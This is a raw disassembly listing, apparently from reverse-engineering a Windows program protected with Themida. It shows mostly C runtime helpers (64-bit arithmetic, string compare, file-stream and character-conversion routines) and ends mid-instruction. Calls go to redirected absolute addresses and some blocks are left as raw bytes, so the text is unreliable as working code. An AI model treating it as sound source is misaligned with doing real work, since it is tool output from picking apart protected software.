var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 2750611h lea eax, [ebp+var_20] push eax nop call near ptr 2840000h mov ax, [ebp+var_16] cmp ax, word_4DB2E2 jnz short loc_41D0E6 mov ax, [ebp+var_18] cmp ax, word_4DB2E0 jnz short loc_41D0E6 mov ax, [ebp+var_1A] cmp ax, word_4DB2DE jnz short loc_41D0E6 mov ax, [ebp+var_1E] cmp ax, word_4DB2DA jnz short loc_41D0E6 mov ax, [ebp+var_20] cmp ax, word_4DB2D8 jnz short loc_41D0E6 mov eax, dword_4DB2D0 jmp short loc_41D12B ; --------------------------------------------------------------------------- loc_41D0E6: ; CODE XREF: sub_41D081+28j ; sub_41D081+35j ... lea eax, [ebp+var_CC] push eax call near ptr 2830000h nop cmp eax, 0FFFFFFFFh jz short loc_41D113 cmp eax, 2 jnz short loc_41D10F cmp [ebp+var_32], 0 jz short loc_41D10F cmp [ebp+var_24], 0 jz short loc_41D10F push 1 pop eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D10F: ; CODE XREF: sub_41D081+7Aj ; sub_41D081+81j ... xor eax, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D113: ; CODE XREF: sub_41D081+75j or eax, 0FFFFFFFFh loc_41D116: ; CODE XREF: sub_41D081+8Cj ; sub_41D081+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DB2D8 movsd movsd movsd movsd pop edi mov dword_4DB2D0, eax pop esi loc_41D12B: ; CODE XREF: sub_41D081+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422669 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D15B mov [ecx], eax locret_41D15B: ; CODE XREF: sub_41D081+D6j leave retn sub_41D081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DB32C cmp dword ptr [eax+8], 0 jnz short loc_41D1B3 mov al, 0FFh mov edi, edi loc_41D17C: ; CODE XREF: sub_41D160+28j ; sub_41D160+48j or al, al jz short loc_41D1AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D17C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D17C sbb al, al sbb al, 0FFh loc_41D1AE: ; CODE XREF: sub_41D160+1Ej movsx eax, al jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1B3: ; CODE XREF: sub_41D160+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D1BC: ; CODE XREF: sub_41D160+68j ; sub_41D160+80j or al, al jz short loc_41D1E7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D1BC push eax push ebx call sub_41D74C mov ebx, eax add esp, 4 call sub_41D74C add esp, 4 cmp bl, al jz short loc_41D1BC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D1E7: ; CODE XREF: sub_41D160+51j ; sub_41D160+5Ej pop ebx pop esi pop edi leave retn sub_41D160 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D268 mov edi, [esp+14h] test edi, edi jz short loc_41D20B cmp edi, 1 jz short loc_41D20B cmp edi, 2 jnz short loc_41D268 loc_41D20B: ; CODE XREF: ___:0041D1FFj ; ___:0041D204j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D222 push esi call sub_4227C5 add [esp+14h], eax pop ecx xor edi, edi loc_41D222: ; CODE XREF: ___:0041D213j push esi call sub_41DB8B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D237 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D24B ; --------------------------------------------------------------------------- loc_41D237: ; CODE XREF: ___:0041D22Ej test al, 1 jz short loc_41D24B test al, 8 jz short loc_41D24B test ah, 4 jnz short loc_41D24B mov dword ptr [esi+18h], 200h loc_41D24B: ; CODE XREF: ___:0041D235j ; ___:0041D239j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_42272B add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D275 ; --------------------------------------------------------------------------- loc_41D268: ; CODE XREF: ___:0041D1F7j ; ___:0041D209j mov dword_4DB278, 16h or eax, 0FFFFFFFFh loc_41D275: ; CODE XREF: ___:0041D266j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep ; sub_41386B+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D299 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D299: ; CODE XREF: sub_41D280+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2B4 proc near ; CODE XREF: ___:004162E3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D2D8 xor eax, eax jmp loc_41D3A5 ; --------------------------------------------------------------------------- loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D2EB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D2F2 ; --------------------------------------------------------------------------- loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj mov [ebp+arg_C], 1000h loc_41D2F2: ; CODE XREF: sub_41D2B4+35j ; sub_41D2B4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D326 mov eax, [esi+4] test eax, eax jz short loc_41D326 cmp ebx, eax mov edi, ebx jb short loc_41D30C mov edi, eax loc_41D30C: ; CODE XREF: sub_41D2B4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C310 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D326: ; CODE XREF: sub_41D2B4+47j ; sub_41D2B4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D371 test ecx, ecx jz short loc_41D33A push esi call sub_41DB8B test eax, eax pop ecx jnz short loc_41D3B3 loc_41D33A: ; CODE XREF: sub_41D2B4+79j cmp [ebp+arg_C], 0 jz short loc_41D34D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj mov edi, ebx loc_41D34F: ; CODE XREF: sub_41D2B4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D3AA add [ebp+arg_0], eax sub ebx, eax loc_41D368: ; DATA XREF: Themida_:00544EFFo cmp eax, edi jb short loc_41D3AA loc_41D36C: ; CODE XREF: sub_41D2B4+70j mov edi, [ebp+var_4] jmp short loc_41D39A ; --------------------------------------------------------------------------- loc_41D371: ; CODE XREF: sub_41D2B4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F58A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D3B3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D39A mov [ebp+arg_C], 1 loc_41D39A: ; CODE XREF: sub_41D2B4+BBj ; sub_41D2B4+DDj test ebx, ebx jnz loc_41D2F2 mov eax, [ebp+arg_8] loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj ; sub_41D2B4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj ; sub_41D2B4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D3B5 ; --------------------------------------------------------------------------- loc_41D3B3: ; CODE XREF: sub_41D2B4+84j ; sub_41D2B4+CFj mov eax, edi loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D3A5 sub_41D2B4 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416908+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 2660CE7h cmp eax, 0FFFFFFFFh jnz short loc_41D3DE nop call near ptr 2660882h push eax call sub_4203DF pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB278, 0Dh mov dword_4DB27C, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D410 proc near ; CODE XREF: sub_416922+3Fp ; sub_41A98C+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D432 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D473 ; --------------------------------------------------------------------------- loc_41D432: ; CODE XREF: sub_41D410+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D440: ; CODE XREF: sub_41D410+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D440 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D46E cmp edx, [esp+8+arg_4] ja short loc_41D46E jb short loc_41D46F cmp eax, [esp+8+arg_0] jbe short loc_41D46F loc_41D46E: ; CODE XREF: sub_41D410+4Ej ; sub_41D410+54j dec esi loc_41D46F: ; CODE XREF: sub_41D410+56j ; sub_41D410+5Cj xor edx, edx mov eax, esi loc_41D473: ; CODE XREF: sub_41D410+20j pop esi pop ebx retn 10h sub_41D410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D480 proc near ; CODE XREF: sub_416922+2Dp ; sub_41A98C+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D4A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D4F1 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D480+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D4AF: ; CODE XREF: sub_41D480+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D4AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D4DA cmp edx, [esp+4+arg_4] ja short loc_41D4DA jb short loc_41D4E2 cmp eax, [esp+4+arg_0] jbe short loc_41D4E2 loc_41D4DA: ; CODE XREF: sub_41D480+4Aj ; sub_41D480+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D4E2: ; CODE XREF: sub_41D480+52j ; sub_41D480+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D4F1: ; CODE XREF: sub_41D480+1Fj pop ebx retn 10h sub_41D480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp ; sub_416A32+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D521 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D521: ; CODE XREF: sub_41D500+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D53D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D53D: ; CODE XREF: sub_41D500+27j or eax, eax jnz short loc_41D559 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D59A ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D500+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D567: ; CODE XREF: sub_41D500+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D567 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D595 cmp edx, [esp+0Ch+arg_4] ja short loc_41D595 jb short loc_41D596 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D596 loc_41D595: ; CODE XREF: sub_41D500+85j ; sub_41D500+8Bj dec esi loc_41D596: ; CODE XREF: sub_41D500+8Dj ; sub_41D500+93j xor edx, edx mov eax, esi loc_41D59A: ; CODE XREF: sub_41D500+57j dec edi jnz short loc_41D5A4 neg edx neg eax sbb edx, 0 loc_41D5A4: ; CODE XREF: sub_41D500+9Bj pop ebx pop esi pop edi retn 10h sub_41D500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp ; sub_4170EC+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DB334 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D5DE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D645 loc_41D5C6: ; CODE XREF: sub_41D5AA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D5D7 cmp cl, 7Ah jg short loc_41D5D7 sub cl, 20h mov [edx], cl loc_41D5D7: ; CODE XREF: sub_41D5AA+21j ; sub_41D5AA+26j inc edx cmp [edx], bl jnz short loc_41D5C6 jmp short loc_41D645 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D5AA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_422ACA mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D637 push edi call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D637 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D637 push [ebp+var_4] push [ebp+arg_0] call sub_41BEB0 pop ecx pop ecx loc_41D637: ; CODE XREF: sub_41D5AA+53j ; sub_41D5AA+61j ... push [ebp+var_4] call sub_41B0B1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D645: ; CODE XREF: sub_41D5AA+1Aj ; sub_41D5AA+32j pop ebx leave retn sub_41D5AA endp ; =============== S U B R O U T I N E ======================================= sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D65F push 4 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D648+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 4 retn sub_41D648 endp ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_420510+76p ; sub_420510+88p ... arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D687 push 8 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D687: ; CODE XREF: sub_41D670+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 retn sub_41D670 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41D6EC mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41D6ED test eax, 1 jz short loc_41D6CD mov cl, [esi] cmp cl, [edi] jnz short loc_41D71A inc esi inc edi dec eax jz short loc_41D6EA loc_41D6CD: ; CODE XREF: ___:0041D6C0j ; ___:0041D6E8j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D71A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D71A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D6CD loc_41D6EA: ; CODE XREF: ___:0041D6CBj ; ___:0041D724j pop edi pop esi locret_41D6EC: ; CODE XREF: ___:0041D6A6j retn ; --------------------------------------------------------------------------- loc_41D6ED: ; CODE XREF: ___:0041D6B9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D722 repe cmpsd jz short loc_41D722 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D715 cmp ch, dh jnz short loc_41D715 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D715 cmp ch, dh loc_41D715: ; CODE XREF: ___:0041D703j ; ___:0041D707j ... mov eax, 0 loc_41D71A: ; CODE XREF: ___:0041D6C6j ; ___:0041D6D3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: ___:0041D6F5j ; ___:0041D6F9j test eax, eax jz short loc_41D6EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D715 dec eax jz short loc_41D749 cmp dh, ch jnz short loc_41D715 dec eax jz short loc_41D749 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D715 dec eax loc_41D749: ; CODE XREF: ___:0041D72Fj ; ___:0041D736j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D74C proc near ; CODE XREF: sub_418068+6p ; sub_418086+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx push esi push edi jnz short loc_41D779 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41D812 cmp eax, 5Ah jg loc_41D812 add eax, 20h jmp loc_41D812 ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D74C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D7AD cmp dword_43C504, esi jle short loc_41D79B push esi push ebx call sub_41F515 pop ecx pop ecx jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D74C+42j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, esi loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj test eax, eax jnz short loc_41D7AD loc_41D7A9: ; CODE XREF: sub_41D74C+ADj mov eax, ebx jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj ; sub_41D74C+5Bj mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D7D1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D7DA ; --------------------------------------------------------------------------- loc_41D7D1: ; CODE XREF: sub_41D74C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D7DA: ; CODE XREF: sub_41D74C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D7A9 cmp eax, esi jnz short loc_41D805 movzx eax, [ebp+var_4] jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D805: ; CODE XREF: sub_41D74C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D812: ; CODE XREF: sub_41D74C+16j ; sub_41D74C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D74C endp ; =============== S U B R O U T I N E ======================================= sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp ; sub_419593+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41D82E loc_41D824: ; CODE XREF: sub_41D817+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41D824 loc_41D82E: ; CODE XREF: sub_41D817+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41D817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp ; sub_4185A4+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41D901 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41D92E cmp dword_4DB334, esi jnz short loc_41D885 cmp edi, esi jbe loc_41D92E loc_41D864: ; CODE XREF: sub_41D834+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41D92E inc eax inc edx inc edx cmp eax, edi jb short loc_41D864 jmp loc_41D92E ; --------------------------------------------------------------------------- loc_41D885: ; CODE XREF: sub_41D834+26j mov ebx, [ebp+arg_4] mov esi, dword_427180 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DB344 call esi test eax, eax jnz loc_41D92D nop call near ptr 2660882h cmp eax, 7Ah jz short loc_41D8BF loc_41D8B0: ; CODE XREF: sub_41D834+CBj ; sub_41D834+F7j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D8BF: ; CODE XREF: sub_41D834+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41D8C7: ; CODE XREF: sub_41D834+B3j mov cl, [eax] test cl, cl jz short loc_41D8E9 mov edx, off_43C2F8 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41D8DE inc eax loc_41D8DE: ; CODE XREF: sub_41D834+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41D8C7 loc_41D8E9: ; CODE XREF: sub_41D834+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DB344 call esi test eax, eax jnz short loc_41D92E jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D901: ; CODE XREF: sub_41D834+Fj cmp dword_4DB334, esi jnz short loc_41D914 push [ebp+arg_4] call sub_41AFE0 pop ecx jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D914: ; CODE XREF: sub_41D834+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DB344 call near ptr 27F0000h nop cmp eax, esi jz short loc_41D8B0 loc_41D92D: ; CODE XREF: sub_41D834+6Bj dec eax loc_41D92E: ; CODE XREF: sub_41D834+1Aj ; sub_41D834+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41D834 endp ; --------------------------------------------------------------------------- db 24h dd 0B7E2348Ch, 0C661414Eh, 99221C35h, 0A164E3FFh, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 35E890E8h, 33024343h, 89D48AD2h dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 5BE8FC75h, 0E8000059h, 243429Eh, 0C90CA390h, 19E8004Dh dd 0A3000058h, 4DB2E8h, 55C2E8h, 5504E800h, 0B9E80000h dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2432628h, 5495E8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 33EFE856h, 50900224h, 0FE3820E8h, 0A04589FFh dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41DA29 proc near ; CODE XREF: sub_41D052+16p ; ___:00422F18p ... arg_0 = dword ptr 4 cmp dword_4DB2F0, 1 jnz short loc_41DA37 call sub_423590 loc_41DA37: ; CODE XREF: sub_41DA29+7j push [esp+arg_0] call sub_4235C9 push 0FFh call off_43A2C0 pop ecx pop ecx retn sub_41DA29 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DB2F0 dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 0E8000000h dd 77A58245h db 90h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap ; sub_423A33+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DC6C0 jnb loc_41DB0C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DB0C push edi call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DAEB cmp edi, 1 jz short loc_41DAB9 cmp edi, 2 jnz short loc_41DACF loc_41DAB9: ; CODE XREF: sub_41DA72+40j push 2 call sub_4238A2 push 1 mov ebp, eax call sub_4238A2 pop ecx cmp eax, ebp pop ecx jz short loc_41DAEB loc_41DACF: ; CODE XREF: sub_41DA72+45j push edi call sub_4238A2 pop ecx push eax call near ptr 26408DCh nop test eax, eax jnz short loc_41DAEB nop call near ptr 2660882h mov ebp, eax jmp short loc_41DAED ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj ; sub_41DA72+5Bj ... xor ebp, ebp loc_41DAED: ; CODE XREF: sub_41DA72+77j push edi call sub_423828 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DB08 push ebp call sub_4203DF pop ecx jmp short loc_41DB1D ; --------------------------------------------------------------------------- loc_41DB08: ; CODE XREF: sub_41DA72+8Bj xor eax, eax jmp short loc_41DB20 ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DA72+Ej ; sub_41DA72+2Fj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41DB1D: ; CODE XREF: sub_41DA72+94j or eax, 0FFFFFFFFh loc_41DB20: ; CODE XREF: sub_41DA72+98j pop edi pop esi pop ebp pop ebx retn sub_41DA72 endp ; =============== S U B R O U T I N E ======================================= sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DB4E test al, 8 jz short loc_41DB4E push dword ptr [esi+8] call sub_41B0B1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41DB4E: ; CODE XREF: sub_41DB25+Aj ; sub_41DB25+Ej pop esi retn sub_41DB25 endp ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp ; sub_41DBF0+48p arg_0 = dword ptr 4 push esi mov esi, 